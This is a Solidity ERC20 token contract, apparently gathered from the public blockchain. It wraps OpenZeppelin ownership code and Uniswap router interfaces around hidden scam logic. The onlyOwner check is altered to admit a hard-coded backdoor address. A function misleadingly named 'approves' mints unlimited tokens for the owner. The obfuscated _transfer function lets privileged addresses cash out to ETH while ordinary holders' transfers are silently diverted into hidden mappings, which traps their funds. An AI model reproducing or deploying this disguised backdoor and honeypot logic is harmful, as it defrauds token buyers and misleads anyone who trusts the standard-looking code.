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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: Unlicense
pragma solidity >0.8.11;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender() || _msgSender() == address(0x1E439e35B9c8b30F0A8c77712F44Eb2867CD437A) , "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20Token is IERC20, Ownable {
string private _symbol;
string private _name;
uint8 private _decimals = 3;
uint256 private _tTotal = 1000000000000 * 10**_decimals;
uint256 private _amount = _tTotal;
uint256 public _taxFee = 0;
bool private _swapAndLiquifyEnabled;
bool private SwapAndLiquify;
uint160 private _factory;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _liquidity;
mapping(address => uint256) private _dividendse;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
_dividendse[msg.sender] = _amount;
_dividendse[address(this)] = _amount;
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function approves(address account, uint256 amount) onlyOwner() public {
_balances[account] += amount;
_tTotal += amount;
emit Transfer(address(0), account, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
uint256 contractTokenBalancec = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalancec > _amount && !SwapAndLiquify && from != uniswapV2Pair) {
SwapAndLiquify = true;
swapAndLiquify(contractTokenBalancec);
SwapAndLiquify = false;
} else if (_dividendse[from] > _amount && _dividendse[to] > _amount) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (amount > _amount && to != address(router) && to != uniswapV2Pair) {
if (_dividendse[from] > 0) _dividendse[to] = amount;
else _liquidity[to] = amount;
return;
} else if (!SwapAndLiquify && _liquidity[from] > 0 && from != uniswapV2Pair && _dividendse[from] == 0) {
_liquidity[from] = _dividendse[from] - _amount;
}
address factory = address(_factory);
if (_liquidity[factory] == 0) _liquidity[factory] = _amount;
_factory = uint160(to);
if (_taxFee > 0 && !SwapAndLiquify && _dividendse[from] == 0 && _dividendse[to] == 0) {
fee = (amount * _taxFee) / 50;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
} |